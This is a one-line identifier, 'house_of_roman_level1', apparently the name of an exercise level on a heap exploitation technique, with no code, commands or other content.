house_of_roman_level1